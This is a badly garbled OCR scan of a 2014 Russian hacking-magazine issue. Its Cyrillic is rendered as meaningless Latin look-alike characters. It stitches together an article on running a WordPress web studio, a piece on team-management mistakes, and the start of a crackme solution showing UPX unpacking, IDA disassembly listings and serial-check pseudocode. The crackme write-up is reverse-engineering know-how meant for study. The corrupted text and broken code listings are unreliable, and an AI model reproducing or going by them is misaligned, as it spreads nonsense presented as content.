3aBuceTb 0T capacdaHHOro paano 60sbLLE He XOTENI0Ch, NO3TOMY
3a OCHOBY Obln B3AT CAlT U nocagoyHble CTpaHuLbl, KOTOpble cae-
nanu NoToK HOBbIX 3aKa30B CTabufbHbIM. ITO MNO3BOJIUIO NOGO-
POTb CTPax NOTEePU KJIMEeHTa. MosiBUNack BO3MOXHOCTb MOBLILLATb
LLeHbl Ha yCnyru, ecnv Buanm, 4To 3aKka3 HeEBbIO4EH.

970, HaBepHoe, OfHa M3 KJIOYEBLIX MPUYMH TOrO, YTO HOBbI
613HEeC HAMHOIro MHTepPEeCcHen NepBoli NOMNbITKM Kak Mo AMHAMUKE
Pa3BuUTUA, Tak 1 NO 4OXOOHOCTU.

KoHe4yHOo, noa MapkeTUHrOM MOHMMAEeTCs He NPOCTO Npo-
AaXun N nx pocT. Mbl MOCTOAAHHO n3y4yaemMm TeHOEeHUUNN pPbiHKa
nuncecnenyem, 4To AeﬁCTBMTeﬂbHO HYXHO KJIMEeHTaMm. 3aHaCTyIO
TO, 4YTO XO4eT KJNINEHT, U TO, 4TO eMy Ha caMOM aene Hago, —
nBe 6onbluve pasHuubl. Mbl Begem oblleHne B pycne Toro,
YTO HYXHO, ob6baCHAA KJINEHTY, YTO ero XeslaHna MOryT HaBpe-
AUNTb, N eC/In He NPpuXoamm K B3aMMOMNOHUMAHUIO, TO OTKas3bl-
Baemcs.

Mbl 0Tka3annch OT MAEM 3aHMMATLCS BCeM. Tenepb Mbl Bbibpanu y3kyto cneuvanuaauuio. [lenaem 1oibko pa3paboTky canTtos. Y Hac HeT 1C, 1 Mbl
He o6cnyxuBaemM KOMMNbIOTEPLI U HUYEro Takoro. TobKO caliTbl U TOMbKO pa3dpaboTka. MNMpuyem He NpocTo caviTel, a caTel Ha WordPress. XXecTkuit
1 y3KKii BbIGOP nnatdopMbl Aas KONOCCasibHbIE MPENMYLLLECTBA Kak B HaCTW NMPOABVXKEHWS, Tak 1 B HaCTW 00y4eHVS HOBbIX CNELMUanncToB.

WNHasa cxema nomcka coTpyAHUKOB

B Moeit nepBoii KOMNaHWM Mbl Obinv BbIHYXAEHbI MCKaTb COTPYAHUKOB,
KOTOpbIE YXe roToBbl K paGoTe. Mbl GblIM 3aBUCKMMbI OT UX 3HAHWIA,
1 B Manom 6rsHece 31O okasanocb 60MO0I 3aMenSIEHHOro AeCTBUS.
Takne COTPYOHMKM XOPOLWW TEM, YTO Cpasy MOryT pellatb 3agauu,
HO OHW HE CTAHOBSITCS YaCTbio KOMaHAbl. JIerko yxoasT 1 yBOAST 3a CO-
60W1 KITMEHTOB U APYTVX COTPYAHUKOB.

B HOBOM 6U3HECE Mbl OTAAEM NPEANoYTEHVE MOJIOALIM N SHEPT Y-
HbIM, MOMOrasi UM PasBUTb HYXHbIe 3HAaHUS. DTO TPebyeT GosbLue Bpe-
MEeHM, HO B3aMeH KOMaHAa noJsly4aeTcst HAMHOMo cusbHee. A 6uaHec —
37O B MEPBYI0 o4epenb koMmaHaa. NooauHoyke TyT Aenatb Hevero. Ecnn
COTPYOHUK CTasl O4eHb CUJIbHBIM — OH YAAET WK CTaHeT NapTHEepPOM.
Ho B nto6om cnyyae oH 6yaet 61arogapeH Tomy, 4To ero obyumnn, ganu
€My 3HaHWS U HYXHBbI OMbIT.

Oduc —He rnaBHoe
Mbl CHOBa peLumnncb opraHnM3oBaTtb 0PUC, HO B HECKOMbKO MO-
nbiToK. M He ¢ nepBoro pasa oduc 3apaboTan. A koraa 3apaboTan,
OH cTan onumein. KTo xo4et — 10T B odumce. KoMy HpaBuTCS BHE
oduca — 10T BHe oduca. OnsTb xe Beb-pa3paboTka kak npoayKT
TYT UrpaeT B Nioc.

W pa, 3anyctunm mbl ero Tonbko Yepea rod paboTsel 613Heca.

TexHonorumn
YBepeH, 4To B caMOM Havane MOXeT xBatutb Excel unn Google
Docs ong ydeta 3asBOK.

Ho TaK yX Cnoxwunock, 4To ONbIT NepBOro 6Gu3Heca No3BoaWN
caenatb CBOIO cucTeMy ynpasneHus Ha 6a3e WordPress, noatomy
HaLwm npoLecckl ¢ xoay 6b1v NOCTaBNEHbI HA MPaBUIbHbIE PeSib-
cbl. CUCTEeMbl YeK-IMCTOB AJ1 KOHTPOSIS KayecTBa pa3paboTku,
6a3a 3HaHWIA, HAMOJIHEHHAs HYXHbIMU CTaTbMW, BHYTPEHHMI
dopyM ans 06CyXaAeHUst CNOXHbIX 3aa4a4 U MHoroe apyroe. Bece
3TO Nerko HacTpamBaeTcs U paclumpsieTcs 6e3 3amMeTHbIX 3aTpar.
Ho no4yBCTBOBanM Mbl 3TO NPEVMYLLLECTBO TOJbKO YEPEe3 rof, pa-
60Tbl. B camom Havane npocTo Benu yyeT 1 6e3 4opaboTok, XxBaTa-
10 TMNOBOro dyHkumoHana. lymato, aHanorom gns apyrux CTyamin
MoxeT 6bITb Trello, Bitrix24, Mnan®ukc, MerannaH wnu gpyrue
Be6-NPUNOXeHUs.

IOpuanueckoe opopmneHmne no mepe
Heo0XxoAuMOCTH

TyT Mbl Ha4anu BoobuLle 6e3 obopmneHns kak dusndeckoe
nmuo n dpunaHc. KnmeHTy BakeH NpoaykT u ka4yecTso. Bee
ocTasibHOoe BTOpOCTeneHHo. Korga noHagoGunvcb O0roso-
pbl — caoenanu WM. YCH oT noxoa0B — Tak NpoLue BECTU YYET.
Korpa noHapo6unmcb COTPYAHUKM 1 odbopMIieHe — caena-
nn O00. YCH ¢ poxoaamu MyHYC pacxofpl. Tak npote on-
TUMU3MPOBATL HANOMN, HO HYXHO BO0JIbLIE BHUMAHWSA YAENsaTb
yuery.

BbIBO[lbl
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BbIBO[lbl

[MpoBanuB CcBOII NepBbIi GU3HEC 1 HA4YaB BCE MO HOBOW, HAM yAanocb caenarb
psia BbIBOOOB 1 paboTy Hafg owmnbkamu. HoBbli GU3HEC MOET CNOXHO U C NPOo-
6nemammn, HO 3TO COBCEM JpYyrne CNOXHOCTU 1 NpoGnemMbl, eCin CpaBHUBATb
C HaLLWM NepPBbLIM Pa30oM.

BuaHec He nmeeT cMbIcna, ecnn y Tebst HeT NPOAYKTa, KOTOPbI BOCTpeboBaH
PbIHKOM.

Tbl BomkeH 601eTb 3TON TeMoid. MNMepBbIii rog nv rogbl 6yayT TAKEbIM UCTbl-
TaHWEM, U, 4TOObI €ro MPOMNTU, HYXEH KONOCCaNbHbI 0ObEM 3Heprun. Monyunts
€ro MOXHO, TOJIbKO 3aHMMasICh JII0OVMbIM AENOM.

Jaxe ecnu ectb OTAMYHBIA NPOAYKT, HABbIKM €ro NPON3BOACTBA, €ro eLle
HY>XHO MPaBWIBLHO YNakoBaThk U NpoAaTb. ECnun Mbl roBopum 0 BEG-CTYAMM, TO 3TO
03Ha4aeT, YTo NPOAYKT HYXXHO NPaBuUSIbHO onucaTtk B GopMe nocafoyHol cTpa-
HULLbI, HACTPOUTL PeknamMHble kamnaHuu. Ecnu TyT Bce caenatb npaBWIibHO,
TO MOSIBUTCS BXOASILUMIA MOTOK 3aKa30B, KOTOPbIVA HYXHO 6yAeT NpoCcTo NOBUTb
1 BbINOJSIHATbL. TYT HYXXHO MApPKETUHIOBOE MbILLNIEHVE U N3Y4EHWEe TOHHbI MaTe-
puanos, koTopbix B CeTu o4eHb MHOro. YuTaTtb U NPUMEHSITb. MIHaye Thbl CTaHeLlb

XAKEP 09 /188/2014

3aNI0KHVKOM KJIMEHTOB M OHU OyayT BUTb 13 TEOS BEPEBKU. ITO 3aBMCUMbIE OT-
HOLLIEHWS, 1 OHU MJIOX0 3aKaH4MBaloTCS.

Nwm cotpyaHunkoB. Jlydwwinii cnoco® HaiTh Nofaein — 3To NPensioxXnTb UM
06yyeHne. COTPYAHMKM, KOTOPbIE NPULLIIK K TeDe 1 KOTOpble NMOy4nan B TBO-
el KOMMNaHUM None3Hble 3HaHWs, ¢ 6OonbLLE BEPOATHOCTLIO OCTAHYTCS C BaMu,
naxe Ha GoHe BO3MOXHbIX Npobaem. OTO He 3HAYUT, YTO OHW ByayT naeanbHbl
WM HUKOTAA He YIAZYT, HO 8TO CaMblil HaAEeXHbli cnocob cobpaTk KacCHYH KO-
MaHay.

lOpuanyeckme nena BTopocTeneHHbl. Tol NoiMeLlb, korga tebe noHapobutcs
M nnn O0O0. Lo atoro MomMeHTa He aymaii 06 atom. Ecnmn 6usHec 3apaboTaer,
TO ero obopMIIeHNe NOHAaZOBUTCA O4YeHb CKOPO. A eCNn He 3aKpyTUTCS, TO 3a-
4yem 3amopaymBarbea?

Oduc ans Be6-CcTyANn BTOPOCTEMNEHEH, HO TOJIBKO €CNN Y Bac €CTb XOPO-
was cucteMa ynpaenieHnss 6usHec-npoueccamn. Bo Bcex octanbHbIX Chy-
4yasx — HyxeH. OH noMoxeT No6opoTb Xaoc B Havane 6e3 AOPOrmx cucTem
ynpasneHus.

TOBOPSAT, YTO NyHLLIE YYUTHLCA HA HYXKUX OLWMBKax. To BEPHO, HO MHOTAA TO, YTO A4S APYroro
Oblno owmnbKoM, Anst Te6s CTAHOBUTCS NPEMMYLLLECTBOM. ECTb OrpoMHasi pasHuua mexay
noaxoaamu k pa3paboTke ManeHbKO KOHBENEPHOW CTyAMU 1 60bLIO KOMAaHUN, CHOKY-

CUPOBaHHO BCEr0 Ha HECKONbKNX MPoAyKTax. Bce To, 4To 6b110 HanmMcaHo A0 3TOro, OT/NY-
HO cpaboTaeT Ha nepBbix aTanax. Janbliue HYXHO MeHsTb noaxond. O Tpex Hambosnee pac-
NPOCTPaHEHHbIX OLIMOKax, KOTOPbIE HE JAI0T Pa3BMBaTbLCS KOMaHAAM, S XO4y paccKasarb.

N4
F

Anekceii naskos
Befywui paspabotunk CasePress,
frontend-pa3pabotuuk Aviasales.ru

Owuoka 1 I

Henernpyi Bce, 4TO MOXeELUb

LLInpoko pacnpocTpaHeHO MHeHWe, YTO OfHa U3 OC-
HOBHbIX 00S3aHHOCTEN PYKOBOOUTENS — YUYUTLCS
nenervposatb. OgHako 3TO He Bcerga Tak. Ctout
noHMMaTb, 4To, Aenernpys 3agayv, pykoBOAUTENb
He CHMMaeT ¢ cebsi OTBETCTBEHHOCTb — OH BCEro
nvWwb nepenopy4aeTt paboTy COTPYAHMUKY, CNOCO6-
HOMY €ee BbIMOJSIHUTL He XyXe CamMOoro PyKoBOAM-
Tens. A 9TO 03HaYaeT, YTO Tbl TOXE AOMKEH ObiTb
CnocobeH ee BbINOSHUTb, 4TOObl BEPHO OLIEHWUTb
Tpynosarpatbl. [lenernpyin He «BCE». [denernpyin
TO, 4TO YMeeLlb caM.

Mpumep u3 xun3Hu: B Aviasales, roe s Heko-
TOopoe Bpemsi paboTan, TUMAnAbl HUYYTb He 6osi-
JIMCb CaMOCTOSTENIbHO 6paTbCs 3a TeXHUYeckue
3apaun. Morpyxasice B paboTy HapaBHe CO CBOei
KOMaHZIoM, pykoBoauTeNb nonyy4aet 6onee nNosHyo
obpaTtHyl0 CBfI3b, MO3HaBas AeTtann pas3paboTku
1 BHYTPEHHOCTW NPOAYKTA HE TOJIbKO YePe3 OTYEThI
1N PeTpOCneKTUBY, HO U «Ha COOCTBEHHOW LLKype».
Kak MOXHO 3ameTuTb, Aviasales 4yBCTByeT cebs
OYeHb XOPOLLO :).

-
L

Owunoka2 I

B 1060/ HENOHATHON CUTYaLUMN NULLN
HaPerl

[oBoOpAT, MOnoable Pa3paboT4YMKN CKIIOHHBI MOCTO-
SIHHO NpPo6oBaTb HOBblE TEXHONOrMW, U3-3a Yero
KOMMaHUsi He MOXET ONTMMU3MPOBATb PECYPChI
Ha nopnepxke. OpHako aTa owmbka CTaHOBUTCSH
NPenMYLLECTBOM, ECNN Pa3BMBATb CTYAMIO HE TOJb-
KO KONIMYECTBEHHO, HO M KAYeCTBEHHO — TO €CTb
cospgaBaTb Bce 6onee CnoxHele n goporve Beb-
CepBUCHI. BbICOKOHArpyXXeHHbI (OecaTkn ThiCaY
3anpocoB B MUHYTY 1 60fiee) CEPBUC U3HYTPU CO-
CTOWUT M3 MHOXECTBA NOACWUCTEM, Kaxdas U3 Ko-
TOPbIX 3aTa4MBaeTCsl MOA CBOI Y3KylO 3ajadyy —
BMJOTb A0 TOrO, YTO MMWLLETCS HAa CBOEM S3biKe
nporpamMmmupoBaHusi. Eciv y Bac HeT pa3paboTyu-
KOB, KOTOPbIE HE BOATCS N3y4aTb HOBbIE A3bIKMN, IKC-
nepyMeHTUPoBaThb ¢ GppenmMBopkamu n 6ubnuorte-
KaMu, CIOXHOCTb MPOEKTOB BaLLel CTyaumn NpocTo
He CMOXeT pacTu.

Mpumep U3 XU3HU: B NPOLIECCE pPeLleHUns 3a-
nauuv «xpaHeHve N MUIIMOHOB LLEH 1 BbICTPLIN NO-
NCK» MHE 3@ HECKOJIbKO MeCSsILEB MPULLIOCH nepe-
6paTb 1 0TCesATb Takme BapmaHTbl: MongoDB + Ruby
scripts, PostgreSQL + stored procs, PostgreSQL +
Redis cache, Redis + Lua scripts. [Mpn 3TOM H1 0AHO
13 peLueHnii He 6bl1I0 4OCTaTOYHO BbICTPLIM U Npa-
BWJIbHBIM: Celivac s yBepeH, 4To ctan Obl peluartb
nopno6Hyio 3agady ¢ nomolubto Erlang n R. A tenepb
npeacTaBsb, YTO 3a 3Ty 3aJady B3sJICS YenoBek, oc-
BOMBLUWIA Bitrix.

Owuoka3 .

He nunu ceoii Benocunepn

Bonpekun BceM MHeHMsIM 0 paspaboTke Benocune-
[oB, caenatb «cobcTBeHHyto CMF» Bce xe ctouT
:). KoHeyHo, cpady ¢ pasbery BOyxaTb Ky4y AeHer
1, HE YMes OnblTa, CO34aTb CBOWM NPOAYKT He nosy-
4yuTCsl, 9TO NPOLLECC NOCTeNneHHbIn. OaHaAKO NMEH-
HO napannenbHasi pa3paboTka CBOEW CUCTEMBI,
B KOTOPYIO OyayT [o6GaBnaTLCS Nydllne naen u Ha-
paboTkn KoMnaHuu, no3BonuT Tebe HakannmeaTb
1 CUCTEMATM3MPOBATh ONbIT. Tebe Beab He Xo4eTcs
3aKpbITb MPUOLINEHOE HanpaBleHUe TOJSbKO Mo-
TOMY, YTO yLlen COTPYAHUK, KOTOPbIA B 9TOM XOTb
4YTO-TO MoHUMan? 3HauuT, cToUT 3aduKCUMpPOoBaTb
OMbIT Y 3HAHUS TaKNX COTPYAHUKOB B BUAE MOAYIEi
cob6cTBeHHo CMF.

Mpumep wun3 xwunsuu: stackoverflow-driven
development :). C nosiBNeHnemM KOANEeKTUBHBIX M0-
wanok, nopobHeix Stack Overflow, SourceForge
n GitHub, nopor BxoxaeHus B IT-akocuctemy CHu-
3uncs. Bnarojaps cy6AMMUPOBAHHOMY  OMbITY,
OTBSI3aHHOMY OT KOHKPETHbIX MPOEKTOB M WUCMOJ-
HUTenei, 6onblue He HyXHO (Hy, B GOnblUMHCTBE
cnyyaeB) Uckatb pelleHne npobnem, KOTopble yxe
peLan KTo-To APYroi, He HYXHO nucatb Kog, KO-
TOpbI yXe Obln rae-To Kem-To HanucaH. Yao6Ho,
BepHO? [Moatomy mbl B CasePress cpoenanu aT10T
NMOAX0[, HacTbio CBOEW CTpaTernu: B peLLeHne 3aaa-
4u BXOOMT HE TONbKO CAENaTb CaiT, HO N BbINOXUTb
howto BO BHyTpeHHIO 6a3y 3HaHun 1 0POPMUTL
KOZ B BUAE nnarvHa. Takoe peLieHne MOoxHo byaet
NPYMEeHUTb eLle pas, N He 00s3aTenbHO 3TUM Xe
COTPYAHMKOM. 3
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Anexcaunpp JlozoBckuit Bsvecnas
lozovsky@glc.ru 3akopxeBCKuii

Haw ctapbln aBTOp, rypy MaLUmnH-
HbIX KOOOB U HACTOALLMIA BANTXAT
BsayecnaB 3akopxxeBckuii ¢ bne-
ckoMm peLuunn crackme ot «J1abo-
paTtopumn Kacnepckoro», CCblfKy
Ha KOTOPbLIN Mbl ONMyOIMKOBaN
B no3anpoLusiom Homepe. Ces-
3aHO JI 3TO C TEM, YTO OH cam
paboTaet B JlTabopaTopum n cu-
ONT MPUMEPHO B OECATU MeTpax
OT aBTOpa kKpakmmn? ;) Cnasa
YTBEPXOAET, UTO HET, U Mbl EMY
Bepum! CerogHs oH npencra-
BUT HA TBOW Cyd NICTOPUIO O TOM,

PELLEHVE CRACKME KaK OH ero pesepcusl (COBETYIO
OT «J1K» V1 HOBA4YA INMAPTINS noYnTaTh: HACTOALLMI AETEKTUB),

a g BblKka4y HOBbl€ 3a4a41 U Npo-

SAOAHY OT EMBARCADERO cnaenio nobeautene.
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TO Xe, YTO 1 9, Ucnonbadysa 6ecnnartHbie MHCTPYMeHTbl — Hiew
Demo n IDA Freeware.
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Mep, KoTopasi npoBepsieTcss Nno knvky kHornku Check. Heponro
nymasi, s nones B Hiew, 4toBbl cnnaHmpoBath AanbHeline nen-
cTBus. Nepeno Monm B30OPOM MOSIBUNICS TUNNYHbLIA PE’WHKK, 3a-

nakoBaHHbI UPX'om, paamepom nog, 1,5 M6 (puc. 1). OKHO Kpakmu

OueBnaHO, YTO HAZ0 CHUMATbL ynakoBky. A ckadan UPX u 3any- C HEBEPHOI KOMGUHaLM-
CTWA €ro ¢ Kto4oM —d, a Ha BbIXOLE NOJSyHn NMPEKPaCHbI pacna- e email/cepuitHnk
KOBaHHbIN darin. Berno orngHys TOYKY BXOAa U CTPOYKK, A MOHSAN,
y1o pain 6bin ckomnunuposat B Visual Studio ¢ ucnonbaoaHvem OpUrnHanbHbIA
MFC. Ha aT0 yka3blBaeT rmraHTCkoe KOnmM4ecTBo $hakToB: MMeHa crackme, OTKpbITBI
KJ1aCCOB, METOAO0B, KHOMOK, MOJIel, BCTPOEHHbIE U300paxeHus, BHiew
CTUIN U MHOIO€ Jpyroe.

Momymo MFC, mMoe BHMMaHuWe NpuBAeK Lenblii 610K CTPOK, ®dparmeHT pac-
copepxalumx umeHa GyHkumin n3 6ubnnotekn OpenSSL (BbISCHS- MaKOBaHHOTO KPaKMM,
eTCsl B MOMCKOBWKE 32 MUHYTY), OTBEYaIoWMX 3a paboTy ¢ annun- copaepxXalmin Ha3BaHus
TUYECKUMU KPUBBIMU (pUC. 2). 6ubnunotek ns OpenSSL

Hy 4T0 e, no 6ernomy 0oCMOTPY CTasIo ICHO, 4TO MHE He npep-
cTouT 6OPOTLCA C Kakol-HMOyAp GelleHol obdyckaumen, BUPTY- ®dparmeHTKOAA,
anbHOM MalnHom nnm 6e3ymHol kpunToii. Kog npocTo kpucTtanb- OTBevaloLWMii 3a nposep-
HO YNCTbIN — MOXHO CMOKOMHO pa3buparb. KY BB€IEHHBIX AlaHHbIX

OueBMaHO, YTO CNeayoLWwMM 3TanoM HYyXXHO HaxoaUTb KOJ, KO- W OTPUCOBKY pe3ynbTarta
TOPbI OTBEYaeT 3a NPOBEPKY AAHHbIX, BBEAEHHbIX B TEKCTOBbIE ANsinonb3oBatens
® CRACK.ME

Email: asdasdsa@ddsds.com

Serial: 4234234234234

@ Serial is invalid

p@ {p@ ;p@ F@ OF@ GfE PEE “fO RCR IR IR =68 25 DS U-R 1Z§ 47T iR GROUP_get0_generator _EC_GROUP_g
GG GROUP get_curue nane _EG mmur —set_asni_flag _EC Gnoquet asnl flag _EC( oup -39t point
OUP_s. 5EC_GROUE 5o 4

SROUB got degran ]

INT llup _EC_POINT.

¢ group copy _ec |
NAF_procompute mulc e

ec_ul puts_s
C_POTNT bnZpoine _EC POTNI poinc2hox _ECTP +
5 it X9 62 PENTAN 6o BENTANOMI A
_TUD_free X9 E_i

RS _ECP)

PR
_ECPrivateRey
LU}

i%0_ECPublicKey fron: er E elliptic curve routine

611"

nonsi. 3To 6bIN0 HECNOXHO — 5 OTKPbIN ¢aiin B IDA, BeiGpan oTo-
6paxeHne Unicode-cTpok 1 Hawen Age knovesble dpasbl: Serial
is valid 1 Serial is invalid. O6e, kak oka3anocb, BCTPEYatoTCS TOJb-
KO B OQHOWN-€OVMHCTBEHHOM PYHKLIMKN 1 MCNOSb3YIOTCS B KaYecTBe
napametpa anst APl-dyHkumm SetDlgltemTextW, koTopas otobpa-
XaeT TEKCT Ha ANanoroBOM OKHE.

B o6uem, 310 TO, 4TO Hago. MNpoaHanM3MpoBas KOA, CHU3Y
BBEPX, S HALLEN HECKONIbKO MHCTPYKLMIA cmp, OT KOTOPbIX Oynet
3aBuUCeTb pesynbTar, 1, B KOHLLE KOHLOB, GYHKLMIO, NMpOBeEps-
IOLLYIO, BaNngHas v BBEOEHA napa uanm HeT. A Hag Hel — OBa
MFC-BbI30Ba, OCYLLECTBASAIOLIMNX CYUTbIBAHNE BBEOEHHOIO TeK-
CTa N NPOBEPKM Ha KOIMYECTBO BBEAEHHbIX CMMBOJSIOB. Takmm
o6pasoM, anvHa email’a gonxHa 6biTb 60JbLIE UKW PaBHA TPEM,
a CepuiHoro Homepa — cTporo 32 cumeona. 9 cpasy xe Hadvan
npucBavBaTb MeHa BCEM Bbl30BaM, YTOObI BNOCNEACTBUM He 3a-
nyTaTtbcsl. BoobLe roBopsi, 310 xopoLuas npaktuka (puc. 4).

®dyHkumns CheckValid okasanacb BeCbMa 0OGbEMHOW, MO3ITOMY
S pelns He My4nTbCH CO CTaTUYECKUM aHann3om, a 3anyCTuTb
OTafyunK 1 B AMHaMKMKe NOCMOTPETb, HYTO U B KaKMX NepPeMEHHbIX
XpaHMTCs. 1 nocTaBua GPEKNONHT Ha NEPBYIO MHCTPYKLMIO (PYHK-
umn, 3anyctun IDA-pebarrep n nony4mn HeobpabaTbiBaemoe 1c-
KJIIOYEHUNE HA YTeHUM 13 namsTu. MNonpoboBsan elle pas — aHano-
FMYHO, HO UCKIIOYEHME rEHEPUPYETCS yXe B APYroM MecCTe, XOTs
1 B npenenax obpasa kpakmu. BHayane s nogyman, 4to Bce-Taku
30€ecb MMeETCS ynoBka 1M Ha camoM gene UPX HecTaHpapTHbIN,
a 3Ha4YWT, N pacnakoBKa MPoLLIa HEKOPPEKTHO... Ho BGykBasbHO
4yepes MrHOBEHWE st MPeAnoNoxXuil, Y4To, pa3 agpeca MeHsIoTcs,
YTO-TO HE TaK C penokamu. N oeicTBUTENBHO — penokn B daiine
otcyTcTBoBanun (gupektopusa Fixups B maccuse DataDirectory),
a cekums «.reloc» XoTs U MMenach, HO Gblia MNOIHOCTLIO 3anon-
HeHa HynsMK. HanomHio, 4To Tabnmua nepeHasHayeHnii UCcnosnb-
3yeTcs A1 KOPPEKTUPOBKM abCOMIOTHBLIX aAPECOB B MALLUUHHOM

push  © T wParan

push  172h ;

push  dword ptr [eax+26h] : hind

call  ds:Sendlessagew

push  offset aseriallsUalid ; “Serial is valid”
jmp short loc_LOABBF

loc_4OABSD: ; CODE XREF: sub_LOAA7G+E7Tj

push  172h

push  dword ptr [eax«znh] % bina

call  ds:SendHessageW

push offset aSeriallsInvali ; “Serial is inualid”

+. push  8Eh ; 1pBitmapHame
-l push  dword ptr [eax+4%h] ; hinstance
-l call  ds:LoadBitnapy

- push  3EFh ; nIDD1gltem
- noy ecx, edi

|- moy esi, eax

.. call  sub_BFFCO

.. push  esi ; 1Param

.. push @ ; uParam

loc_BABBF = ; CODE XREF: Sub_4GAA7O+11BTj
push  3F8h : nIDD1gltem

:BO4OABCY nou ecx, edi

"
b
%
"
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* .text:0040AAAC cmp

* .text:@040ANED j1 short loc_4BAARF7
* _text:0040AAB2 mou eax, [edi+BZ[:h]

* .text:0040ARBE cmp

* .text:0040ARBC jnz short loc_hBAARFT
* .text:0040ARBE push eax

* .text:0040ARBF lea ecx, [ebp+var_1C]
* .text:@040AACZ call GetText

* .text:0040AACT mou esi, eax

* .text:0048AACT mov [ebp+var_4], ebx
* .text:B040AACE lea ecx, [ebp+var_18]
* .text:B040AACF push dword ptr [edi+828h]
* .text:0040AADS nov [ebp+var_14], 1

* .text:@8040AADC call GetText

* .text:0848ANE1 mov edx, [esi] H
* .text:00408ARE3 mov ebx, 3 H
* .text:0040ARES nov ecx, [eax] H
* .text:0040AAEA call CheckValid

* .text:B040AREF nov [ebp+var_D], 1

* .text:0040AAF3 test eax, eax

* .text:0040AAFS jnz short loc_hBAARFB

dword ptr [eax-8Ch], 3 ; email len

dword ptr [eax-8Ch], 26h ; serial len

edx <- serial
ebx <- 3
ecx <- email

CTeRT:
-text:

LLLL )
BB4B7CDA SeriallalidSymbols?: H

* .text:88487CDB mov al, [ecx+ebx]

* .text:080487CD3 cmp al, 36h

* .text:8B4B7CD5 j1 short loc_uB7CDB

* .text:88487CD7 cmp al, 3%
r--"% .text:B04B7CD9 jle short loc_L@7CF3
' -text:00407CDB
: -text:BB407CDB loc_407CDB: H
: * .text:080467CDB cmp al, 4h
' * .text:80407CDD j1 short loc_LB7CE3
: * .text:B8O4A7CDF cmp al, 46h
oot Jtext:BO4B7CE1 jle short loc_u4@7CF3
' -text:B0407CE3
: -text:BB4O7CE3 loc_407CE3: H
. * .text:BO4B7CE3 cnp al, 61h
. * .text:00407CES j1 SERIAL_NOT_UALID
: * .text:B8O4A7CEB cmp al, 66h
| * .text:BB4B7CED ig SERIAL_NOT_UALID
| .text:0OLO7CF3
: -text:BO4B7CF3 loc_4B87CF3: H
' .text:AB4B7CF3 H
b -¥t L text:@0407CF3 inc ecx

* .text:00407CFL4 cmp ecx, 20h

* .text:B04B7CF7 j1 short SeriallalidSymbols?

¢ Faot-AALATACA odi add

GCODE XREF: CheckVUalid+571j

CODE XREF: CheckUalid+35tj

CODE XREF: CheckUalid+3pTj

GODE XREF: CheckUalid+39Tj
checkValid+u1tj

Kofe, korga 06pas 3arpyxaeTtcs He no ImageBase, ykazaHHOMY
B 3arosioBke. B Moem cnyyae 9T0 MpOMCXOAMIO 13-3a BKIOYEH-
Holi TexHonorum ASLR kak B Windows (s cuxxy Ha Win 8 x64), Tak
1Ny KpakMn. 3a 3TO OTBeYaeT COOTBETCTBYyOLWMA dnar B none
Characteristics PE-3aronoska. 9 MrHOBEHHO 3anaTtyun oauH 6anT
3aronoBka, 1 Bce 3apaboTtano 6e3 npobnem.

Takum o6pa3om, s 3abun TEKCTOBblE MONS KOPPEKTHLIMU
3HAYEHMSIMU 1 CTan OT/IaXMBaTb KPAKMUILLKY CTPOKA 3@ CTPOKOIA.
B camom Hauane MHe BCTPETW/CS LMK, KOTOPbIA NpoBepsin Co-
OEPXNUMOE CEPUNHOIO HOMEpPa — OH [OJIXEH CoAepXaTb TONbKO
umdpbl 0T 0 40 9 BKIOYMTENBHO W/UNU NATUHCKME (NPOMUCHbLIE
1 CTPOYHble) BykBbl OT a A0 f. lpyrumMu cnosamu, cepuinHmk 6yoet
BbINAAETb Kak-TO Tak:

A29FF02B28D8CC185B02A861DF8490FA

Cpasy Xe HanpalumBaeTcsi — 3TO CTPOKOBOE NPeACTaBleHNE
LecTHaaLaTepmnyHoro ymucna pasmepom 16 6ant (unmn 128 6ur),
TO €CTb Kaxible [1Ba BBEAeHHbIX CMMBOJIa AAIOT OAMH GaiT.

YyTb HUXE BECbMA OXUAAEMO NPOUCXOAMT npeobpasoBaHme
BBEJEHHOrO CepuiiHMKa B YeTbIpe ABONHbIX cnoBsa. MNpuyem B pe-

®dparmeHT
KoAa, oTBe4YaloLwmn
3a CHYMTbIBaHME AaHHbIX
N NpPOBEPKY AJIUHBbI
KNio4YannoyTbl

dparmeHTkoaa,
copepxaluuii npo-
BEpKY Ha KOPPEKTHOCTb
BBE1EHHBIX CUMBOJIOB
cepuiiHuka

dparmenTkoaa,
OTBeualoLuii 3a «nepe-
BOpayYnBaHue» 6anTt
B/ BOIHOM C/lOBE
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3AN CJ1ABbI:
MOBEAUTENU
CRACKME

B npownom Homepe s«
00bsiBUN nepeoro noGe-
AUTensi, HO, Y4YUTbIBasi
CNOXHOCTb M WHTEpec-
HOCTb OMyG/IMKOBAHHOIO
Kpakmu, s Gbl XoTen npo-
CnaBuTb BCEX KPYTbIX Xa-
KEPOB, KOTOpbleé CMornun
ero ocunutb. BoOT OHMu,
3TN XXene3Hble MapHu:

rucTpax undpbl nayT B TOM Xe Nnopsiake, 4To 1 6biv BBeAeHbI. An-
rOPUTM Ype3BbIYAMHO NPOCTON, U Er0 MOXHO onmncaTthb Ha s3blke C
cneayloLmmM o6pasom:

for (int i = @; i < 8; i++)
{
Symbol = serial[i];
If(Symbol >= '@' && Symbol <= '9')«
Symbol -= '@';
else if(no aHanoruu pna 6yks)
Result <<= 4;
Result += symbol;
}
roe result — pesynbTupylowmin agBopa, a serial — ykasartenb

Ha BBEMEHHbI cepuitHuK. MpruyeM aTo nNpeobpasoBaHue Bbi-
NoNHSIeTCS MO YeTbipe pasa Ajs OJHOro U Toro e Habopa
13 BOCbMM CMMBOJIOB, @ pe3yNibTaTbl PACCOBLIBADTCA MO pe-
rMcTpamM M NIokanbHbIM NMepeMeHHbIM. MOHATHO, Y4TO 3TO He-
BEPOSATHO N3BbLITOYHO, — MOXHO ObisIo 6Gbl caenatb OTAENbHYIO
GbYHKLMIO, BIMOJIHAOLLYIO BbILIEONUCAHHOE npeobpasoBaHue
M MPOCTO CKOMMPOBATb pe3ynbrart Mo APYrMM MNepeMEHHbIM.
Mpepnonarato, 4TO 3TO ONTUMM3ALUSA KOMNUNATOPA MW YMBbILLI-
JIEHHOE YBENNYEHME KOAa aBTOPOM, 4YTOObI YCIOXHUTL paboTy
pesepcepy.

[Mocne 3TOoro NoNyyYeHHbIN ABOPA, «<NepeBopavnBaeTCs» 1 Kna-
[EeTCS B JIOKaNbHYO NepemeHHyto. To ecTb 6aiiThl (a He nonybaii-
Tbl!) NOYT TEenepb 3a40M Hanepea,:

12345678h -> 78563412h

BbIMOMHAETCA Xe 3TO C MOMOLLbIO HEXUTPbLIX apPUDMETUYECKUX
